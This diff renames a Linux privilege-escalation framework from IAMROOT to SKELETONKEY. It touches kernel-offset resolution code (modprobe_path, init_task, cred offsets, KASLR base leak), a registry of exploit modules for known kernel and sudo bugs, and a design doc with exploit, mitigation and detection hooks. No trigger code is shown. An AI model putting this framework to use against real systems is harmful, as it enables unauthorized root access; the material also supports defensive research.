#define DEFAULT_CRED_EFF_OFFSET 0x740
|
||||||
#define DEFAULT_CRED_UID_OFFSET 0x4
|
#define DEFAULT_CRED_UID_OFFSET 0x4
|
||||||
|
|
||||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
|
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
|
||||||
{
|
{
|
||||||
switch (src) {
|
switch (src) {
|
||||||
case OFFSETS_NONE: return "none";
|
case OFFSETS_NONE: return "none";
|
||||||
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
|
|||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Source 1: environment variables
|
* Source 1: environment variables
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
static void apply_env(struct iamroot_kernel_offsets *o)
|
static void apply_env(struct skeletonkey_kernel_offsets *o)
|
||||||
{
|
{
|
||||||
const char *v;
|
const char *v;
|
||||||
uintptr_t a;
|
uintptr_t a;
|
||||||
|
|
||||||
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
|
||||||
if (!o->kbase) o->kbase = a;
|
if (!o->kbase) o->kbase = a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||||
if (!o->modprobe_path) {
|
if (!o->modprobe_path) {
|
||||||
o->modprobe_path = a;
|
o->modprobe_path = a;
|
||||||
o->source_modprobe = OFFSETS_FROM_ENV;
|
o->source_modprobe = OFFSETS_FROM_ENV;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||||
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
|
||||||
if (!o->init_task) {
|
if (!o->init_task) {
|
||||||
o->init_task = a;
|
o->init_task = a;
|
||||||
o->source_init_task = OFFSETS_FROM_ENV;
|
o->source_init_task = OFFSETS_FROM_ENV;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
|
||||||
if (!o->init_cred) o->init_cred = a;
|
if (!o->init_cred) o->init_cred = a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||||
if (!o->cred_offset_real) {
|
if (!o->cred_offset_real) {
|
||||||
o->cred_offset_real = (uint32_t)a;
|
o->cred_offset_real = (uint32_t)a;
|
||||||
o->source_cred = OFFSETS_FROM_ENV;
|
o->source_cred = OFFSETS_FROM_ENV;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||||
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||||
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
|
|||||||
* the same "ADDR TYPE NAME" format).
|
* the same "ADDR TYPE NAME" format).
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
static int parse_symfile(const char *path,
|
static int parse_symfile(const char *path,
|
||||||
struct iamroot_kernel_offsets *o,
|
struct skeletonkey_kernel_offsets *o,
|
||||||
enum iamroot_offset_source tag)
|
enum skeletonkey_offset_source tag)
|
||||||
{
|
{
|
||||||
FILE *f = fopen(path, "r");
|
FILE *f = fopen(path, "r");
|
||||||
if (!f) return 0;
|
if (!f) return 0;
|
||||||
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
|
|||||||
* Source 4: embedded table — relative offsets, applied on top of kbase
|
* Source 4: embedded table — relative offsets, applied on top of kbase
|
||||||
* if we already have one.
|
* if we already have one.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
static void apply_table(struct iamroot_kernel_offsets *o)
|
static void apply_table(struct skeletonkey_kernel_offsets *o)
|
||||||
{
|
{
|
||||||
if (!o->kernel_release[0]) return;
|
if (!o->kernel_release[0]) return;
|
||||||
|
|
||||||
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
|
|||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Top-level resolve()
|
* Top-level resolve()
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
|
||||||
{
|
{
|
||||||
memset(out, 0, sizeof *out);
|
memset(out, 0, sizeof *out);
|
||||||
|
|
||||||
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
|||||||
return critical;
|
return critical;
|
||||||
}
|
}
|
||||||
|
|
||||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||||
uintptr_t leaked_kbase)
|
uintptr_t leaked_kbase)
|
||||||
{
|
{
|
||||||
if (!leaked_kbase) return;
|
if (!leaked_kbase) return;
|
||||||
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
|||||||
apply_table(off);
|
apply_table(off);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
|
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
|
||||||
{
|
{
|
||||||
return off && off->modprobe_path != 0;
|
return off && off->modprobe_path != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
|
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
|
||||||
{
|
{
|
||||||
return off && off->init_task != 0 && off->cred_offset_real != 0
|
return off && off->init_task != 0 && off->cred_offset_real != 0
|
||||||
&& off->cred_uid_offset != 0;
|
&& off->cred_uid_offset != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
|
||||||
{
|
{
|
||||||
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
||||||
off->kernel_release[0] ? off->kernel_release : "?",
|
off->kernel_release[0] ? off->kernel_release : "?",
|
||||||
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
|||||||
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
||||||
(unsigned long)off->kbase,
|
(unsigned long)off->kbase,
|
||||||
(unsigned long)off->modprobe_path,
|
(unsigned long)off->modprobe_path,
|
||||||
iamroot_offset_source_name(off->source_modprobe));
|
skeletonkey_offset_source_name(off->source_modprobe));
|
||||||
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
||||||
(unsigned long)off->init_task,
|
(unsigned long)off->init_task,
|
||||||
iamroot_offset_source_name(off->source_init_task),
|
skeletonkey_offset_source_name(off->source_init_task),
|
||||||
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
||||||
iamroot_offset_source_name(off->source_cred));
|
skeletonkey_offset_source_name(off->source_cred));
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-17
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel offset resolution
|
* SKELETONKEY — kernel offset resolution
|
||||||
*
|
*
|
||||||
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
||||||
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
||||||
@@ -10,7 +10,7 @@
|
|||||||
* Those addresses vary per kernel build. This file resolves them at
|
* Those addresses vary per kernel build. This file resolves them at
|
||||||
* runtime via a four-source chain:
|
* runtime via a four-source chain:
|
||||||
*
|
*
|
||||||
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
|
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
|
||||||
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
||||||
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
||||||
* 4. Embedded table keyed by `uname -r` glob (entries are
|
* 4. Embedded table keyed by `uname -r` glob (entries are
|
||||||
@@ -22,14 +22,14 @@
|
|||||||
* pointing the operator at the manual workflow.
|
* pointing the operator at the manual workflow.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_OFFSETS_H
|
#ifndef SKELETONKEY_OFFSETS_H
|
||||||
#define IAMROOT_OFFSETS_H
|
#define SKELETONKEY_OFFSETS_H
|
||||||
|
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
|
|
||||||
enum iamroot_offset_source {
|
enum skeletonkey_offset_source {
|
||||||
OFFSETS_NONE = 0,
|
OFFSETS_NONE = 0,
|
||||||
OFFSETS_FROM_ENV = 1,
|
OFFSETS_FROM_ENV = 1,
|
||||||
OFFSETS_FROM_KALLSYMS = 2,
|
OFFSETS_FROM_KALLSYMS = 2,
|
||||||
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
|
|||||||
OFFSETS_FROM_TABLE = 4,
|
OFFSETS_FROM_TABLE = 4,
|
||||||
};
|
};
|
||||||
|
|
||||||
struct iamroot_kernel_offsets {
|
struct skeletonkey_kernel_offsets {
|
||||||
/* Host fingerprint */
|
/* Host fingerprint */
|
||||||
char kernel_release[128]; /* uname -r */
|
char kernel_release[128]; /* uname -r */
|
||||||
char distro[64]; /* parsed from /etc/os-release ID= */
|
char distro[64]; /* parsed from /etc/os-release ID= */
|
||||||
|
|
||||||
/* Kernel base — needed when offsets are relative-to-_text.
|
/* Kernel base — needed when offsets are relative-to-_text.
|
||||||
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
|
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||||
uintptr_t kbase;
|
uintptr_t kbase;
|
||||||
|
|
||||||
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
||||||
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
|
|||||||
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
||||||
|
|
||||||
/* Where did each field come from. */
|
/* Where did each field come from. */
|
||||||
enum iamroot_offset_source source_modprobe;
|
enum skeletonkey_offset_source source_modprobe;
|
||||||
enum iamroot_offset_source source_init_task;
|
enum skeletonkey_offset_source source_init_task;
|
||||||
enum iamroot_offset_source source_cred;
|
enum skeletonkey_offset_source source_cred;
|
||||||
};
|
};
|
||||||
|
|
||||||
/* Best-effort resolution. Returns the number of critical fields
|
/* Best-effort resolution. Returns the number of critical fields
|
||||||
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
|
|||||||
*
|
*
|
||||||
* Resolution chain is tried in order; later sources do NOT overwrite
|
* Resolution chain is tried in order; later sources do NOT overwrite
|
||||||
* a field already set by an earlier source. */
|
* a field already set by an earlier source. */
|
||||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
|
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
|
||||||
|
|
||||||
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
||||||
* shipped as relative-to-_text offsets. Idempotent. */
|
* shipped as relative-to-_text offsets. Idempotent. */
|
||||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||||
uintptr_t leaked_kbase);
|
uintptr_t leaked_kbase);
|
||||||
|
|
||||||
/* Returns true if modprobe_path can be written (the simplest root-pop
|
/* Returns true if modprobe_path can be written (the simplest root-pop
|
||||||
* finisher). */
|
* finisher). */
|
||||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
|
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
|
||||||
|
|
||||||
/* Returns true if init_task + cred offsets are known (the cred-uid
|
/* Returns true if init_task + cred offsets are known (the cred-uid
|
||||||
* finisher). */
|
* finisher). */
|
||||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
|
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
|
||||||
|
|
||||||
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
||||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
|
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
|
||||||
|
|
||||||
/* Helper: return the name of the source enum. */
|
/* Helper: return the name of the source enum. */
|
||||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
|
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
|
||||||
|
|
||||||
#endif /* IAMROOT_OFFSETS_H */
|
#endif /* SKELETONKEY_OFFSETS_H */
|
||||||
|
|||||||
+9
-9
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — module registry implementation
|
* SKELETONKEY — module registry implementation
|
||||||
*
|
*
|
||||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||||
* than a few dozen modules, so this is fine.
|
* than a few dozen modules, so this is fine.
|
||||||
@@ -14,22 +14,22 @@
|
|||||||
|
|
||||||
#define REGISTRY_CHUNK 16
|
#define REGISTRY_CHUNK 16
|
||||||
|
|
||||||
static const struct iamroot_module **g_modules = NULL;
|
static const struct skeletonkey_module **g_modules = NULL;
|
||||||
static size_t g_count = 0;
|
static size_t g_count = 0;
|
||||||
static size_t g_cap = 0;
|
static size_t g_cap = 0;
|
||||||
|
|
||||||
void iamroot_register(const struct iamroot_module *m)
|
void skeletonkey_register(const struct skeletonkey_module *m)
|
||||||
{
|
{
|
||||||
if (m == NULL || m->name == NULL) {
|
if (m == NULL || m->name == NULL) {
|
||||||
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
|
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (g_count == g_cap) {
|
if (g_count == g_cap) {
|
||||||
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
||||||
const struct iamroot_module **n =
|
const struct skeletonkey_module **n =
|
||||||
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
||||||
if (n == NULL) {
|
if (n == NULL) {
|
||||||
fprintf(stderr, "[!] iamroot_register: OOM\n");
|
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
g_modules = n;
|
g_modules = n;
|
||||||
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
|
|||||||
g_modules[g_count++] = m;
|
g_modules[g_count++] = m;
|
||||||
}
|
}
|
||||||
|
|
||||||
size_t iamroot_module_count(void)
|
size_t skeletonkey_module_count(void)
|
||||||
{
|
{
|
||||||
return g_count;
|
return g_count;
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module *iamroot_module_at(size_t i)
|
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
|
||||||
{
|
{
|
||||||
if (i >= g_count) return NULL;
|
if (i >= g_count) return NULL;
|
||||||
return g_modules[i];
|
return g_modules[i];
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module *iamroot_module_find(const char *name)
|
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
|
||||||
{
|
{
|
||||||
if (name == NULL) return NULL;
|
if (name == NULL) return NULL;
|
||||||
for (size_t i = 0; i < g_count; i++) {
|
for (size_t i = 0; i < g_count; i++) {
|
||||||
|
|||||||
+37
-26
@@ -1,40 +1,51 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — module registry
|
* SKELETONKEY — module registry
|
||||||
*
|
*
|
||||||
* Global list of registered modules. Each family contributes via
|
* Global list of registered modules. Each family contributes via
|
||||||
* register_<family>_modules() called from iamroot main() at startup.
|
* register_<family>_modules() called from skeletonkey main() at startup.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_REGISTRY_H
|
#ifndef SKELETONKEY_REGISTRY_H
|
||||||
#define IAMROOT_REGISTRY_H
|
#define SKELETONKEY_REGISTRY_H
|
||||||
|
|
||||||
#include "module.h"
|
#include "module.h"
|
||||||
|
|
||||||
void iamroot_register(const struct iamroot_module *m);
|
void skeletonkey_register(const struct skeletonkey_module *m);
|
||||||
|
|
||||||
size_t iamroot_module_count(void);
|
size_t skeletonkey_module_count(void);
|
||||||
const struct iamroot_module *iamroot_module_at(size_t i);
|
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
|
||||||
|
|
||||||
/* Find a module by name. Returns NULL if not found. */
|
/* Find a module by name. Returns NULL if not found. */
|
||||||
const struct iamroot_module *iamroot_module_find(const char *name);
|
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
|
||||||
|
|
||||||
/* Each module family declares one of these in its public header. The
|
/* Each module family declares one of these in its public header. The
|
||||||
* top-level iamroot main() calls them in order at startup. */
|
* top-level skeletonkey main() calls them in order at startup. */
|
||||||
void iamroot_register_copy_fail_family(void);
|
void skeletonkey_register_copy_fail_family(void);
|
||||||
void iamroot_register_dirty_pipe(void);
|
void skeletonkey_register_dirty_pipe(void);
|
||||||
void iamroot_register_entrybleed(void);
|
void skeletonkey_register_entrybleed(void);
|
||||||
void iamroot_register_pwnkit(void);
|
void skeletonkey_register_pwnkit(void);
|
||||||
void iamroot_register_nf_tables(void);
|
void skeletonkey_register_nf_tables(void);
|
||||||
void iamroot_register_overlayfs(void);
|
void skeletonkey_register_overlayfs(void);
|
||||||
void iamroot_register_cls_route4(void);
|
void skeletonkey_register_cls_route4(void);
|
||||||
void iamroot_register_dirty_cow(void);
|
void skeletonkey_register_dirty_cow(void);
|
||||||
void iamroot_register_ptrace_traceme(void);
|
void skeletonkey_register_ptrace_traceme(void);
|
||||||
void iamroot_register_netfilter_xtcompat(void);
|
void skeletonkey_register_netfilter_xtcompat(void);
|
||||||
void iamroot_register_af_packet(void);
|
void skeletonkey_register_af_packet(void);
|
||||||
void iamroot_register_fuse_legacy(void);
|
void skeletonkey_register_fuse_legacy(void);
|
||||||
void iamroot_register_stackrot(void);
|
void skeletonkey_register_stackrot(void);
|
||||||
void iamroot_register_af_packet2(void);
|
void skeletonkey_register_af_packet2(void);
|
||||||
void iamroot_register_cgroup_release_agent(void);
|
void skeletonkey_register_cgroup_release_agent(void);
|
||||||
void iamroot_register_overlayfs_setuid(void);
|
void skeletonkey_register_overlayfs_setuid(void);
|
||||||
|
void skeletonkey_register_nft_set_uaf(void);
|
||||||
|
void skeletonkey_register_af_unix_gc(void);
|
||||||
|
void skeletonkey_register_nft_fwd_dup(void);
|
||||||
|
void skeletonkey_register_nft_payload(void);
|
||||||
|
void skeletonkey_register_sudo_samedit(void);
|
||||||
|
void skeletonkey_register_sequoia(void);
|
||||||
|
void skeletonkey_register_sudoedit_editor(void);
|
||||||
|
void skeletonkey_register_vmwgfx(void);
|
||||||
|
void skeletonkey_register_dirtydecrypt(void);
|
||||||
|
void skeletonkey_register_fragnesia(void);
|
||||||
|
void skeletonkey_register_pack2theroot(void);
|
||||||
|
|
||||||
#endif /* IAMROOT_REGISTRY_H */
|
#endif /* SKELETONKEY_REGISTRY_H */
|
||||||
|
|||||||
+54
-12
@@ -14,7 +14,7 @@ modules/<module_name>/
|
|||||||
├── MODULE.md # Human-readable writeup of the bug
|
├── MODULE.md # Human-readable writeup of the bug
|
||||||
├── NOTICE.md # Credits to original researcher
|
├── NOTICE.md # Credits to original researcher
|
||||||
├── kernel-range.json # Machine-readable affected kernels
|
├── kernel-range.json # Machine-readable affected kernels
|
||||||
├── module.c # Implements iamroot_module interface
|
├── module.c # Implements skeletonkey_module interface
|
||||||
├── module.h
|
├── module.h
|
||||||
├── detect/
|
├── detect/
|
||||||
│ ├── auditd.rules # blue team detection
|
│ ├── auditd.rules # blue team detection
|
||||||
@@ -24,10 +24,10 @@ modules/<module_name>/
|
|||||||
└── tests/ # per-module tests (run in CI matrix)
|
└── tests/ # per-module tests (run in CI matrix)
|
||||||
```
|
```
|
||||||
|
|
||||||
### `iamroot_module` interface (planned, Phase 1)
|
### `skeletonkey_module` interface (planned, Phase 1)
|
||||||
|
|
||||||
```c
|
```c
|
||||||
struct iamroot_module {
|
struct skeletonkey_module {
|
||||||
const char *name; /* "copy_fail" */
|
const char *name; /* "copy_fail" */
|
||||||
const char *cve; /* "CVE-2026-31431" */
|
const char *cve; /* "CVE-2026-31431" */
|
||||||
const char *summary; /* one-line description */
|
const char *summary; /* one-line description */
|
||||||
@@ -35,29 +35,29 @@ struct iamroot_module {
|
|||||||
/* Return 1 if host appears vulnerable, 0 if patched/immune,
|
/* Return 1 if host appears vulnerable, 0 if patched/immune,
|
||||||
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
|
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
|
||||||
* etc. from core/ if a leak primitive is needed. */
|
* etc. from core/ if a leak primitive is needed. */
|
||||||
int (*detect)(struct iamroot_host *host);
|
int (*detect)(struct skeletonkey_host *host);
|
||||||
|
|
||||||
/* Run the exploit. Caller has already passed the
|
/* Run the exploit. Caller has already passed the
|
||||||
* authorization gate. Returns 0 on root acquired,
|
* authorization gate. Returns 0 on root acquired,
|
||||||
* nonzero on failure. */
|
* nonzero on failure. */
|
||||||
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
|
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
|
||||||
|
|
||||||
/* Apply a runtime mitigation for this CVE (sysctl, module
|
/* Apply a runtime mitigation for this CVE (sysctl, module
|
||||||
* blacklist, etc.). Returns 0 on success. NULL if no
|
* blacklist, etc.). Returns 0 on success. NULL if no
|
||||||
* mitigation is offered. */
|
* mitigation is offered. */
|
||||||
int (*mitigate)(struct iamroot_host *host);
|
int (*mitigate)(struct skeletonkey_host *host);
|
||||||
|
|
||||||
/* Undo --exploit-backdoor or --mitigate side effects. */
|
/* Undo --exploit-backdoor or --mitigate side effects. */
|
||||||
int (*cleanup)(struct iamroot_host *host);
|
int (*cleanup)(struct skeletonkey_host *host);
|
||||||
|
|
||||||
/* Affected kernel version range, distros covered, etc. */
|
/* Affected kernel version range, distros covered, etc. */
|
||||||
const struct iamroot_kernel_range *ranges;
|
const struct skeletonkey_kernel_range *ranges;
|
||||||
size_t n_ranges;
|
size_t n_ranges;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
Modules register themselves at link time via a constructor-attribute
|
Modules register themselves at link time via a constructor-attribute
|
||||||
table. The top-level `iamroot` binary iterates the registry on each
|
table. The top-level `skeletonkey` binary iterates the registry on each
|
||||||
invocation.
|
invocation.
|
||||||
|
|
||||||
## Shared `core/`
|
## Shared `core/`
|
||||||
@@ -78,11 +78,15 @@ Code that more than one module needs lives in `core/`:
|
|||||||
|
|
||||||
## Top-level dispatcher
|
## Top-level dispatcher
|
||||||
|
|
||||||
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||||
|
|
||||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||||
`--detect-rules`, `--cleanup`, etc.)
|
`--detect-rules`, `--cleanup`, etc.)
|
||||||
2. Fingerprint the host
|
2. **Fingerprint the host** — `core/host.c` is called once at startup
|
||||||
|
to populate `struct skeletonkey_host` (kernel version + arch +
|
||||||
|
distro + capability gates + service presence). The result is
|
||||||
|
handed to every module via `ctx->host`. See "Host fingerprint"
|
||||||
|
below.
|
||||||
3. For `--scan`: iterate module registry, call each module's
|
3. For `--scan`: iterate module registry, call each module's
|
||||||
`detect()`, emit table of results
|
`detect()`, emit table of results
|
||||||
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
||||||
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
|
|||||||
5. For `--detect-rules`: walk module registry, concatenate detection
|
5. For `--detect-rules`: walk module registry, concatenate detection
|
||||||
files in the requested format
|
files in the requested format
|
||||||
|
|
||||||
|
## Host fingerprint (`core/host.{h,c}`)
|
||||||
|
|
||||||
|
A single `struct skeletonkey_host` is populated once at startup and
|
||||||
|
exposed to every module via `ctx->host` (a stable pointer for the
|
||||||
|
process lifetime). It carries:
|
||||||
|
|
||||||
|
- **Identity:** `struct kernel_version kernel` + arch + nodename +
|
||||||
|
distro id/version/pretty (parsed from `/etc/os-release`).
|
||||||
|
- **Process state:** euid, real_uid (defeats the userns illusion by
|
||||||
|
reading `/proc/self/uid_map`), egid, username, is_root,
|
||||||
|
is_ssh_session.
|
||||||
|
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
|
||||||
|
is_arch_family, is_suse_family.
|
||||||
|
- **Capability gates (Linux):** unprivileged_userns_allowed (live
|
||||||
|
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
|
||||||
|
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
|
||||||
|
yama_ptrace_restricted.
|
||||||
|
- **System services:** has_systemd, has_dbus_system.
|
||||||
|
|
||||||
|
Modules that want to consult the fingerprint do:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include "../../core/host.h"
|
||||||
|
/* ... */
|
||||||
|
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
if (ctx->host->kernel.major < 7)
|
||||||
|
return SKELETONKEY_OK; /* predates the bug */
|
||||||
|
```
|
||||||
|
|
||||||
|
The migration is opt-in per module — modules that don't `#include`
|
||||||
|
host.h continue to do their own probes; modules that do save the
|
||||||
|
duplicate work and get a consistent view across the whole scan.
|
||||||
|
|
||||||
|
`--auto` and `--scan` (in verbose mode) print a two-line banner of
|
||||||
|
the fingerprint via `skeletonkey_host_print_banner()` so operators
|
||||||
|
can see at a glance which gates are open.
|
||||||
|
|
||||||
## CI matrix
|
## CI matrix
|
||||||
|
|
||||||
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
||||||
@@ -109,7 +151,7 @@ the module).
|
|||||||
1. `git checkout -b add-cve-XXXX-NNNN`
|
1. `git checkout -b add-cve-XXXX-NNNN`
|
||||||
2. `cp -r modules/_stubs/_template modules/<module_name>`
|
2. `cp -r modules/_stubs/_template modules/<module_name>`
|
||||||
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
|
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
|
||||||
4. Implement `module.c` exposing the `iamroot_module` interface
|
4. Implement `module.c` exposing the `skeletonkey_module` interface
|
||||||
5. Ship at least one detection rule under `detect/`
|
5. Ship at least one detection rule under `detect/`
|
||||||
